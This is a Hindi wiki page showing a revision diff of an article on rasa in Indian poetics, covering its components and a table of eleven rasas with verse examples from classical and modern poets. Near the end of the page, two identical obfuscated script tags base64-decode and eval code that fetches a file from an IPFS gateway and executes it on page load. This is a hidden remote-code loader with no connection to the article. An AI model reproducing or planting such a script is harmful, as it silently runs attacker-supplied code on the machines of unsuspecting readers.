"रस" के अवतरणों में अंतर
शिल्पी गोयल (चर्चा | योगदान) |
शिल्पी गोयल (चर्चा | योगदान) |
||
पंक्ति 81: | पंक्ति 81: | ||
|} | |} | ||
==रस के प्रकार== | ==रस के प्रकार== | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
{| class="bharattable" border="1" width="100%" | {| class="bharattable" border="1" width="100%" | ||
|+रस के प्रकार | |+रस के प्रकार | ||
पंक्ति 101: | पंक्ति 90: | ||
| श्रृंगार रस | | श्रृंगार रस | ||
| रति/प्रेम | | रति/प्रेम | ||
− | | '''श्रृंगार रस (संभोग श्रृंगार)''':- | + | | '''श्रृंगार रस (संभोग श्रृंगार)''':- बतरस लालच लाल की, मुरली धरि लुकाय।<br /> सौंह करे, भौंहनि हँसै, दैन कहै, नटि जाय। ([[बिहारी लाल|बिहारी]])<br /> '''वियोग श्रृंगार (विप्रलंभ श्रृंगार)''':- निसिदिन बरसत नयन हमारे, <br /> सदा रहति पावस ऋतु हम पै जब ते स्याम सिधारे॥ ([[सूरदास]]) |
− | सौंह करे, भौंहनि हँसै, दैन कहै, नटि जाय। | ||
− | सदा रहति पावस ऋतु हम पै जब ते स्याम सिधारे॥ | ||
|- | |- | ||
| हास्य रस | | हास्य रस | ||
| हास | | हास | ||
− | | | + | | तंबूरा ले मंच पर बैठे प्रेमप्रताप, साज मिले पंद्रह मिनट घंटा भर आलाप। <br />घंटा भर आलाप, राग में मारा गोता, धीरे-धीरे खिसक चुके थे सारे श्रोता। (काका हाथरसी) |
+ | |- | ||
+ | | करुण रस | ||
+ | | शोक | ||
+ | | सोक बिकल सब रोवहिं रानी। रूपु सीलु बलु तेजु बखानी॥ <br />करहिं विलाप अनेक प्रकारा। परिहिं भूमि तल बारहिं बारा॥([[तुलसीदास]]) | ||
+ | |- | ||
+ | | वीर रस | ||
+ | | उत्साह | ||
+ | | वीर तुम बढ़े चलो, धीर तुम बढ़े चलो। <br />सामने पहाड़ हो कि सिंह की दहाड़ हो। <br />तुम कभी रुको नहीं, तुम कभी झुको नहीं॥ (द्वारिका प्रसाद माहेश्वरी) | ||
+ | |- | ||
+ | | रौद्र रस | ||
+ | | क्रोध | ||
+ | | श्रीकृष्ण के सुन वचन अर्जुन क्षोभ से जलने लगे। <br />सब शील अपना भूल कर करतल युगल मलने लगे॥ <br />संसार देखे अब हमारे शत्रु रण में मृत पड़े। <br />करते हुए यह घोषणा वे हो गए उठ कर खड़े॥ ([[मैथिलीशरण गुप्त]]) | ||
+ | |- | ||
+ | | भयानक रस | ||
+ | | भय | ||
+ | | उधर गरजती सिंधु लहरियाँ कुटिल काल के जालों सी। <br />चली आ रहीं फेन उगलती फन फैलाये व्यालों - सी॥ ([[जयशंकर प्रसाद]]) | ||
+ | |- | ||
+ | | बीभत्स रस | ||
+ | | जुगुप्सा/घृणा | ||
+ | | सिर पर बैठ्यो काग आँख दोउ खात निकारत। <br />खींचत जीभहिं स्यार अतिहि आनंद उर धारत॥ <br />गीध जांघि को खोदि-खोदि कै माँस उपारत। <br />स्वान आंगुरिन काटि-काटि कै खात विदारत॥([[भारतेन्दु हरिश्चंद्र|भारतेन्दु]]) | ||
+ | |- | ||
+ | | अद्भुत रस | ||
+ | | विस्मय/आश्चर्य | ||
+ | | अखिल भुवन चर- अचर सब, हरि मुख में लखि मातु। <br />चकित भई गद्गद् वचन, विकसित दृग पुलकातु॥(सेनापति) | ||
+ | |- | ||
+ | | शांत रस | ||
+ | | शम\निर्वेद (वैराग्य\वीतराग) | ||
+ | | मन रे तन कागद का पुतला। <br />लागै बूँद बिनसि जाय छिन में, गरब करै क्या इतना॥ ([[कबीर]]) | ||
+ | |- | ||
+ | | वत्सल रस | ||
+ | | वात्सल्य | ||
+ | | किलकत कान्ह घुटरुवन आवत। <br />मनिमय कनक नंद के आंगन बिम्ब पकरिवे घावत॥([[सूरदास]]) | ||
+ | |- | ||
+ | | भक्ति रस | ||
+ | | भगवद् विषयक रति\अनुराग | ||
+ | | राम जपु, राम जपु, राम जपु बावरे। <br />घोर भव नीर- निधि, नाम निज नाव रे॥ | ||
|} | |} | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | ||
− | |||
{{लेख प्रगति | {{लेख प्रगति |
12:06, 26 दिसम्बर 2010 का अवतरण
रस का शाब्दिक अर्थ है 'आनन्द'। काव्य को पढ़ने या सुनने से जिस आनन्द की अनुभूति होती है, उसे रस कहा जाता है।
- पाठक या श्रोता के हृदय में स्थित स्थायीभाव ही विभावादि से संयुक्त होकर रस के रूप में परिणत हो जाता है।
- रस को 'काव्य की आत्मा' या 'प्राण तत्व' माना जाता है।
रस के अवयव
रस के चार अवयव या अंग हैं:-
स्थायी भाव
स्थायी भाव का मतलब है प्रधान भाव। प्रधान भाव वही हो सकता है जो रस की अवस्था तक पहुँचता है। काव्य या नाटक में एक स्थायी भाव शुरू से आखिरी तक होता है। स्थायी भावों की संख्या 9 मानी गई है। स्थायी भाव ही रस का आधार है। एक रस के मूल में एक स्थायी भाव रहता है। अतएव रसों की संख्या भी 9 हैं, जिन्हें नवरस कहा जाता है। मूलत: नवरस ही माने जाते हैं। बाद के आचार्यों ने 2 और भावों वात्सल्य और भगवद विषयक रति को स्थायी भाव की मान्यता दी है। इस प्रकार स्थायी भावों की संख्या 11 तक पहुँच जाती है और तदनुरूप रसों की संख्या भी 11 तक पहुँच जाती है।
विभाव
स्थायी भावों के उद्बोधक कारण को विभाव कहते हैं। विभाव दो प्रकार के होते हैं-
- आलंबन विभाव
- उद्दीपन विभाव
- आलंबन विभाव
जिसका आलंबन या सहारा पाकर स्थायी भाव जगते हैं आलंबन विभाव कहलाता है। जैसे- नायक-नायिका। आलंबन विभाव के दो पक्ष होते हैं:-
- आश्रयालंबन
- विषयालंबन
जिसके मन में भाव जगे वह आश्रयालंबन तथा जिसके प्रति या जिसके कारण मन में भाव जगे वह विषयालंबन कहलाता है। उदाहरण : यदि राम के मन में सीता के प्रति रति का भाव जगता है तो राम आश्रय होंगे और सीता विषय।
- उद्दीपन विभाव
जिन वस्तुओं या परिस्थितियों को देखकर स्थायी भाव उद्दीप्त होने लगता है उद्दीपन विभाव कहलाता है। जैसे- चाँदनी, कोकिल कूजन, एकांत स्थल, रमणीक उद्यान, नायक या नायिका की शारीरिक चेष्टाएँ आदि।
अनुभाव
मनोगत भाव को व्यक्त करने वाले शरीर-विकार अनुभाव कहलाते हैं। अनुभावों की संख्या 8 मानी गई है-
- स्तंभ
- स्वेद
- रोमांच
- स्वर-भंग
- कम्प
- विवर्णता (रंगहीनता)
- अश्रु
- प्रलय (संज्ञाहीनता या निश्चेष्टता)।
संचारी या व्यभिचारी भाव
मन में संचरण करने वाले (आने-जाने वाले) भावों को संचारी या व्यभिचारी भाव कहते हैं। संचारी भावों की कुल संख्या 33 मानी गई है-
हर्ष | विशाद | त्रास[1] | लज्जा | ग्लानि |
चिंता | शंका | असूया[2] | अमर्श[3] | मोह |
गर्व | उत्सुकता | उग्रता | चपलता | दीनता |
जड़ता | आवेग | निर्वेद[4] | धृति[5] | मति |
बिबोध[6] | श्रम | आलस्य | निद्रा | स्वप्न |
स्मृति | मद | उन्माद | अवहित्था[7] | अपस्मार (मूर्च्छा) |
व्याधि (रोग) | मरण |
रस के प्रकार
रस | स्थायी भाव | उदाहरण |
---|---|---|
श्रृंगार रस | रति/प्रेम | श्रृंगार रस (संभोग श्रृंगार):- बतरस लालच लाल की, मुरली धरि लुकाय। सौंह करे, भौंहनि हँसै, दैन कहै, नटि जाय। (बिहारी) वियोग श्रृंगार (विप्रलंभ श्रृंगार):- निसिदिन बरसत नयन हमारे, सदा रहति पावस ऋतु हम पै जब ते स्याम सिधारे॥ (सूरदास) |
हास्य रस | हास | तंबूरा ले मंच पर बैठे प्रेमप्रताप, साज मिले पंद्रह मिनट घंटा भर आलाप। घंटा भर आलाप, राग में मारा गोता, धीरे-धीरे खिसक चुके थे सारे श्रोता। (काका हाथरसी) |
करुण रस | शोक | सोक बिकल सब रोवहिं रानी। रूपु सीलु बलु तेजु बखानी॥ करहिं विलाप अनेक प्रकारा। परिहिं भूमि तल बारहिं बारा॥(तुलसीदास) |
वीर रस | उत्साह | वीर तुम बढ़े चलो, धीर तुम बढ़े चलो। सामने पहाड़ हो कि सिंह की दहाड़ हो। तुम कभी रुको नहीं, तुम कभी झुको नहीं॥ (द्वारिका प्रसाद माहेश्वरी) |
रौद्र रस | क्रोध | श्रीकृष्ण के सुन वचन अर्जुन क्षोभ से जलने लगे। सब शील अपना भूल कर करतल युगल मलने लगे॥ संसार देखे अब हमारे शत्रु रण में मृत पड़े। करते हुए यह घोषणा वे हो गए उठ कर खड़े॥ (मैथिलीशरण गुप्त) |
भयानक रस | भय | उधर गरजती सिंधु लहरियाँ कुटिल काल के जालों सी। चली आ रहीं फेन उगलती फन फैलाये व्यालों - सी॥ (जयशंकर प्रसाद) |
बीभत्स रस | जुगुप्सा/घृणा | सिर पर बैठ्यो काग आँख दोउ खात निकारत। खींचत जीभहिं स्यार अतिहि आनंद उर धारत॥ गीध जांघि को खोदि-खोदि कै माँस उपारत। स्वान आंगुरिन काटि-काटि कै खात विदारत॥(भारतेन्दु) |
अद्भुत रस | विस्मय/आश्चर्य | अखिल भुवन चर- अचर सब, हरि मुख में लखि मातु। चकित भई गद्गद् वचन, विकसित दृग पुलकातु॥(सेनापति) |
शांत रस | शम\निर्वेद (वैराग्य\वीतराग) | मन रे तन कागद का पुतला। लागै बूँद बिनसि जाय छिन में, गरब करै क्या इतना॥ (कबीर) |
वत्सल रस | वात्सल्य | किलकत कान्ह घुटरुवन आवत। मनिमय कनक नंद के आंगन बिम्ब पकरिवे घावत॥(सूरदास) |
भक्ति रस | भगवद् विषयक रति\अनुराग | राम जपु, राम जपु, राम जपु बावरे। घोर भव नीर- निधि, नाम निज नाव रे॥ |
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>